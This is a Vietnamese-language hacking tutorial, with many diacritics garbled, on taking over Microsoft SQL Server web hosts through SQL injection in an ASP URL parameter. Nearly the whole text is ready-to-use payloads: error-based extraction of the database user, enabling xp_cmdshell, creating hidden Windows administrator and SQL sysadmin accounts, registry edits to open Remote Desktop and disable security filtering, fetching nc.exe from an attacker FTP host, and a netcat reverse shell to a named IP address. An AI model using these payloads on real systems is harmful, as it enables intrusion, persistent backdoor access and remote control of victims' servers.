ôi ĺc ć nh ng System_user có quy n ngang = SAnh ng ĺc query ch́ng ta không th y nó có tên là 'SA' nên th ng b qua ...
Ć 1 ćch đ b n ki m tra xem System_userđ́ ć n m trong role sysadmin không (ngang = SA)
Ki m tra System_User
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,system_user)--sp_password
K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'hieupc' to a column of data type int.
Nh v y là System_user mà Server ǹy đang d̀ng ć tên l̀ hieupc , bây gi ta th ki m tra xem hieupc có quy n ngang = SA không
www.hieupc.gov.vn/hieupc.asp?id=1;drop table check_sysuser create table check_sysuser (id int identity,noi_dung
varchar(1000)) insert into check_sysuser select sysadmin from master..syslogins where name = 'hieupc'-- sp_password
===> t o ra 1 table tên check_sysuser và chèn giá tr out put c a câu query select sysadmin from master..syslogins where name = 'hieupc'v̀o tr ng noi_dung c a table...
http://www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select top 1 noi_dung%2b'/' from check_sysuser where id=1))--sp_password
===> Select giá tr c a tr ng noi_dung , b n chú ý %2b ngha l̀ d u +. K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '1/ ' to a column of data type int.
===> Ngha l̀ t̀i kho n SQL hieupc có quy n ngang = SA. Trong bài này Server mà Hieupc đang hack th̀ user = quy n SA.
Tr ng h p mà báo l i th ǹy:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '0/ ' to a column of data type int.
===> Ngha l̀ t̀i kho n SQL hieupc không có quy n hành = SA , ta ch có th khai th́c l y thông tin nh b̀nh th ng th̀ đ c.
Gi ta ph i l̀m g̀n u ć quy n SA trong tay?
Enable xp_cmdshell trên SQL Server 2005
- Nh đ c bi t thì MSSQL Server 2005 đ m c đnh là Disable l nh xp_cmdshell ngh a l̀ ngay c khi có tài kho n SQL là "SA" ta c ng không th ch y đ c các câu l nh CMD:
+ Ví d victim là:
www.hieupc.gov.vn/hieupc.asp?id=1
(Site này có quy n system_user = SA luôn nhé) , khi ta th ch y câu l nh CMD sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'ipconfig /all'--sp_password
K t qu tr v l̀ không ć l i g̀.
Nh ng mà vì có "SA" trong tay nên cái này ta v n có th enable đ c b ng cách dùng
sp_configure
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_configure 'show advanced options', 1--sp_password
===> câu l nh này là ta b t show advanced options thì m i có th enable xp_cmdshellđ c. (vì xp_cmdshell n m trong đ́) ... N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công. Ti p t c khai th́c:
http://www.hieupc.gov.vn/hieupc.asp?id=1;reconfigure--sp_password
===> câu l nh ǹy đ ta reconfigure l i đ nó b t đ u b t show advanced options ... N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công. Ti p t c khai th́c:
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_configure 'xp_cmdshell', 1--sp_password
===> b t đ u enable xp_cmdshell ... N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công. Ti p t c khai th́c v i câu l nh reconfigure m t l n n a:
http://www.hieupc.gov.vn/hieupc.asp?id=1;reconfigure--sp_password
===> câu l nh ǹy đ ta reconfigure l i đ nó b t đ u b t xp_cmdshell
Sau khi đ̃ enable xp_cmdshell ta th ipconfig /all xem sao:
K t qu tr v :
L u ́: m c d̀ đã enable xp_cmdshellnh ng ch a ch c đã làm đ c gì trên server, t i vì MSSQL Server 2005 không cho ch y các l nh nh "net user hieupc 123456 /add" , ngay c active user Guest "net user Guest /active" c̀n không hi u qu …
Add thêm user vào MSSQL Server:
Bây gi v n Victim là
www.hieupc.gov.vn/hieupc.asp?id=1
Add thêm user vào SQL Server đ làm gì ? L̀ đ ta có th login vào MSSQL Server c a h b ng Query Analyzer trong Microsoft SQL Server đ có th vi t Query v a nhanh và d d̀ng h n (ho c đ n m vùng c ng c c t t). Ngòi ra ta ć th s d ng: RazorSQL đ connect.
u tiên là t o ra user:
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_addlogin 'hieupc', '123456'--sp_password
===> Ta v a t o thêm 1 user trong SQL Server c a nó v i username là hieupc và password là 123456. N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công. Khi đã có user rùi thì ta ph i add nó lên quy n qu n tr cao nh t (ngang = SA)
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_addsrvrolemember 'hieupc', 'sysadmin'--sp_password
N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ thành công.
Bây gi ta d̀ng Query Analyzer ho c RazorSql connect v̀ login v̀o th xem sao(nh ng ch áp d ng cho server MSSQL cho remote t xa nhé. V̀ m t s server c m remote MSSQL t xa.) K t qu :
Vô t i đây r i, ćc b n l̀m đ c r t nhi u đi u hay l m đây.
Chi m quy n Admin v̀ Remote Desktop nh sau:
S d ng câu l nh CMD sau đ add thêm user cho window v i username = hieupc và password = 123456:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'net user hieupc 123456 /add'--sp_password
K t qu nh sau l̀ th̀nh công:
add user hieupc vào group administrators, ta l̀m nh sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators hieupc /add'-- sp_password
Bây gi ta add user hieupc vào group Remote Desktop Usersđ nó có quy n Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" hieupc /add'--sp_password
K t qu nh sau l̀ th̀nh công:
V y là bây gi b n đã có thêm 1 tài kho n admin v i password là 123456 v i quy n h th ng và có th remote desktop.
Ch n remote desktopnh sau :
(Start->programs->accessories->communications->Remote Desktop) Ho c vào run gõ "mstsc"
Gi ch c n đi n IP ho c domainname (www.hieupc.gov.vn)đ́nh user v̀ pass v̀o đ login vào server và làm nh ng gì mình mu n.
K t qu l̀ đ̃ remote desktop đ c v̀o server:
Upload Backdoor lên Server nh th ǹo qua quy n SA:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo open ftp.Your_Domain.com>ftp&echo user Your_User Your_Pass>>ftp&echo get Your_File>>ftp&echo quit>>ftp'--sp_password
===> t o file batch ch a nh ng l nh c a FTP
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'ftp -v -i -n -s:ftp'--sp_password
===> th c thi l nh c a file batch
ftp.Your_Domain.com : ch này là domain c a b n , ví d ftp.hieupc.com Your_User : đây l̀ username đ ng nh p vào ftp
Your_Pass : password đ ng nh p vào ftp
Your_File : file mà b n mu n up lên server (file ph i n m trên host ftp c a b n) , ví d nc.exe Ví d b n có 1 host ftp là ftp.hieupc.com v i username là hieupc và pass là 123456 , b n mu n upload file nc.exe t trên host ftp đ́ lên server thì b n làm:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo open ftp.hieupc.com>ftp&echo user hieupc hieupcpass>>ftp&echo get nc.exe>>ftp&echo quit>>ftp'--sp_password
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'ftp -v -i -n -s:ftp'--sp_password
Sau khi ch y xong b n có th ki m tra xem file đã đ cup lên server hay ch ab ng ćch sau:
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung varchar(1000)) insert into hieupc exec master..xp_cmdshell 'dir Your_File'--sp_password
===> t o 1 table l u gi n i dung c a câu l nh exec master..xp_cmdshell 'dir Your_File' b n nh là Your_File = tên file mà b n v a up lên , ví d nc.exe...
Xem n i dung ći ǹo:
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select noi_dung from hieupc where id=6))--sp_password
K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '06/23/2007 04:56 PM 579 nc.exe' to a column of data type int
===> đ̃ upload th̀nh công.
L̀m th ǹo khi ta không th Remote Desktop v̀o Server:
ôi khi đ̃ ć đ c user v̀ pass r i nh ng khi remote desktop th̀ l i không đ c v̀ b Firewall ch n l i ho c do Server đ̃ t t ch c n ng ǹy đi.
Sau đây l̀ ćch gi i quy t: Site demo v n l̀:
www.hieupc.gov.vn/hieupc.asp?id=1
Nh ćc b n đã bi t là Registryhay c̀n g i l̀ Regedit r t quan tr ng trong h th ng c a
window , khi có system_user = 'SA' trong tay thì b n có th t ng t́c v̀o registry c a máy ch . V̀ v y ta ph i can thi p v̀o Regeditđ Enable m t v̀i th :
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections',REG_DWORD,0--sp_password
===> ghi khóa registry cho fDenyTSConnections v i giá tr = 0 Ti p t c câu l nh:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Control\Terminal Server','AllowTSConnections',REG_DWORD,1--sp_password
===> ghi khóa registry cho AllowTSConnections v i giá tr = 1 Sau đ́:
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,@@servername)--sp_password
===> l y tên server đ còn kh i đ ng l i.
V̀ s d ng câu l nh sau đ restart l i ḿy 'shutdown -m \\tên_server –r –t 5'
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'shutdown -m \\tên_server –r –t 5'--sp_password
===> restart máy nào.
–
Delete 1 khóa registry nh sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec xp_regdeletekey 'rootkey', 'key'--sp_password
===> các b n chú ý 'rootkey' và 'key' là đ ng d n đ n kh́a registry đ́ ... Ví d hieupc mu n xóa khóa registry TestValue
'HKEY_LOCAL_MACHINE\SOFTWARE\Test' thì s là:
www.hieupc.gov.vn/hieupc.asp?id=1;exec xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Test\TestValue'--sp_password
c giá tr 1 khóa registry nh sau:
Ví d b n mu n đ c khóa registry fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Terminal Server xem nó có giá tr = bao nhiêu thì b n đ u tiên ph i query:
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung1 varchar(99), noi_dung2 varchar(99)) insert into hieupc EXEC master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'-- sp_password
===> t o ra 1 table l u tr giá tr registry c a kh́a đ́ Sau đ́ b n ph i select d li u trong đ́ ra đ xem:
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select top 1 noi_dung1%2b'/'%2bnoi_dung2 from hieupc where id=1))--sp_password
===> %2b = d u + N u nó hi n l i:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value
'fDenyTSConnections/0' to a column of data type int. ===> có ngha l̀ kh́a fDenyTSConnections có giá tr = 0
Ghi thêm và S a giá tr c a khóa registry nh sau: Ví d Hieupc s s a giá tr c a fDenyTSConnections
M tv̀i đi u c n l u ý v Remote Desktop:
Khi mà có SA và b n đã add thêm thành công tài kho n Admin , nh ng khi b n connect vào Remote Desktop c a Server thì l i không đ c. V y ph i làm gì ti p theo đây?
Ĺc ǹy ta ph i enable ći Terminal Service b ng ćch:
Sc config TermService start= auto
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'Sc config TermService start= auto'-- sp_password
Enable xong th̀ ta ph i start TermService:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'net start TermService'--sp_password
M Port trong Firewall cho Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'netsh firewall add portopening TCP 3389 “Remote Desktop”'--sp_password
Bây gi ta th connect Remote Desktop v̀o Server th xem sao.
Ngoài ra b n c n l̀m thêm v̀i câu l nh sau n u v n không connectđ c v̀o Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell ‘netsh firewall set service remoteadmin enable'--sp_password
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell ‘netsh firewall set service remotedesktop enable'--sp_password
Chú ý thêm:
Thông th ng là 1 Server không đ c b t Firewall (n u ć th ng là firewall ph n c ng), nh ng n u trong tr ng h p Server b t firewall, và ch n 1 ng d ng connect c a b n (nh Remote Desktop ch ng h n) thì sao? (ví d nh ch n netcat) thì b n hãy tham kh o cách sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'netsh firewall set opmode enable disable'-- sp_password
Server ć enable nh ng IP MSSQL Server không trùng v i ip Server ch a web, ta l̀m nh
sau:
B n c n tìm ra IP chính xác c a MSSQL Server
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung varchar(1000)) insert into hieupc exec master..xp_cmdshell 'ipconfig'--sp_password
===> t o ra 1 b ng l u tr thông tin c a l nh ipconfig
Sau đ́
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select noi_dung from hieupc where id=8))--sp_password
K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'IP Address. . . . . . . : xxx.xxx.x.xxx' to a column of data type int.
==> xxx.xxx.x.xxx chính là ip c a MSSQL Server.
V y là b n đã có IP c a MSSQL , nh ng n u nó là IP m ng LAN thì sao ?. Thì b n ph i dùng đ n netcat , b n ph i up netcat lên server và k t n i t server v máy c a b n , đ u tiên b n ph i upload file netcat lên 1 host ftp c a m̀nh: (ći ǹy đ̃ đ c h ng d n b̀i trên, xem chi ti t trên nhé)
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo open ftp.your-host.com>>ftp'--sp_password www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo user your-ftp-username your-ftp-pass>>ftp'-- sp_password
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo get nc.exe>>ftp'--sp_password www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'echo quit>>ftp'--sp_password www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'ftp -v -i -n -s:ftp'--sp_password
Bây gi b n copy file netcat (nc.exe) vào C:\ c a m̀nh , vào cmd và gõ l nh cd\ đ di chuy n t i C:\
sau đ́ gõ nc -l -p 1787 -vv
www.hieupc.gov.vn/hieupc.asp?id=1;exec master..xp_cmdshell 'nc.exe -e cmd.exe -d your-ip1787'--sp_password
ho c
www.hieupc.gov.vn/hieupc.asp?id=1;select%20*%20from%20openrowset('sqloledb','server=BACKUP;uid=BUILT IN\Administrators;pwd=','set%20fmtonly%20off%20select%201%20exec%20master..xp_cmdshell%20"nc.exe -e cmd.exe -d 58.187.32.40 1787"')--sp_password
58.187.32.40 ho c your ip : l̀ đ a ch IP c a b n, xem đ a ch IP c a b n b ng ćch v̀o: ip2location.com
L u ́: N u connect th̀nh công v̀o NCth̀ b n h u nh remote đ c v̀o Server v̀ ć th l̀m nh ngg̀ b n th́ch.
N u Server change port Remote Desktop thì sao:
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung1 varchar(99), noi_dung2 varchar(99)) insert into hieupc EXEC master..xp_regread
'HKEY_LOCAL_MACHINE','System\CurrentControlSet\Control\Terminal Server\WinStations\RDP- Tcp\','PortNumber'--sp_password
Query l y k t qu ǹo
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select top 1 noi_dung1%2b'/'%2bnoi_dung2 from hieupc where id=1))--sp_password
K t qu tr l i:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'PortNumber/xxxx' to a column of data type int.
===> n u xxxx khác 3389 thì xxxx chính là c ng Remote Desktop m i mà Server đã change (vì 3389 là c ng m c đnh c a Remote Desktop)
V y khi b n connect t i server b n ph i thêm xxx vào sau IP c a server.
N u g p user không ph i l̀ SA th̀ sao:
T i sao l i ph i đ a Guest v̀o DataBase Owner c a DataBase Master?
B vì DB Owner c a Db Master m i có quy n th c hi n l nh xp_regwrite,xp_regdeletevalue
và xp_cmdshell.
T i sao Guest l i s d ng 2 l nh xp_regwrite,xp_regdeletevalue và xp_cmdshell
B i vì :
xp_regwrited̀ng đ th c hi n l nh ghi lên Registry c a Windows
xp_regdeletevalued̀ng đ xóa d li u trong Registry c a Windows
xp_cmdshelld̀ng đ g i l nh lên Windows d̀ng đ nâng quy n , chi m quy n , cài backdoor ... s
Còn đây l̀ l nh đ đ a Guest v̀o Db Owner c a Db Master:
http://www.victim.com/index.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec
sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''Guest''','xx' exec sp_executesql N'drop view dbo.test'--sp_password
N u ch y link trên mà không báo l i v̀ đ c tr v trang : http://www.victim.com/index.asp?id=1
t c là b n đã th c hi n thành công vi c đ a Guest v̀o Db Owner c a Db Master nh ng đ cho ch c n mình v n ki m tra l i m t l n n a b ng cách sau :
http://www.victim.com/index.asp?id=1%20%20and%201=convert(int,(select%20top%201%20name%20from%20m aster..sysusers%20where%20roles=0x01%20and%20name%20not%20in('dbo')))--sp_password
Có th ch y xp_regwrite ,xp_regdeletevalue v i xp_cmdshell r i thì làm gì?
Gi login vào Database v i user BUILTIN\ADMINISTRATOR v i password = "xx":
http://www.victim.com/index.asp?id=1;exec%20sp_executesql%20N'create%20view%20dbo.test%20as%20select% 20*%20from%20master.dbo.sysxlogins'%20exec%20sp_msdropretry%20'xx%20update%20sysusers%20set%20sid =0x01%20where%20name=''dbo''','xx'%20exec%20sp_msdropretry%20'xx%20update%20dbo.test%20set%20xstat us=18%20where%20name=''BUILTIN\ADMINISTRATORS''','xx'%20exec%20sp_executesql%20N'drop%20view %20dbo.test'--sp_password
V y là ta có m t user n m v̀ng trong DB c a Server ... Sau này m i m nh l nh đ ph i thông qua user này……
Gi mình dùng xp_regwriteđ Enable ći OpenRowset đã b SysAdmin kia Disable.
http://www.victim.com/index.asp?id=1;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1--sp_password http://www.victim.com/index.asp?id=1;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer
\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWORD,0--sp_password
ý m y ch in đ m nhé: 1 : Enable
0 : Disable
Ch y xong mà nó tr v trang ch là thành công kh i check
Gi thì xài xp_regdeletevalueđ h y ch c n ng ghi log v̀ l c d li u c a WINDOWS
http://www.victim.com/index.asp?id=1;exec master..xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'-- sp_password
Gi thì các b n kh i lo b ghi log, chính vì th mình b cái sp_password đi c ng đ c, nh ng b n đ l i c ng ch ng sao.
Gi đ n lúc b t cái xp_cmdshell lên. Các b n l u ý nha trên là cho phép ch y xp_cmdshell
còn đây l̀ b t xp_cmdshell và allow updates.
http://www.victim.com/index.asp?id=1;select * from openrowset('sqloledb',
'server=BACKUP;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--sp_password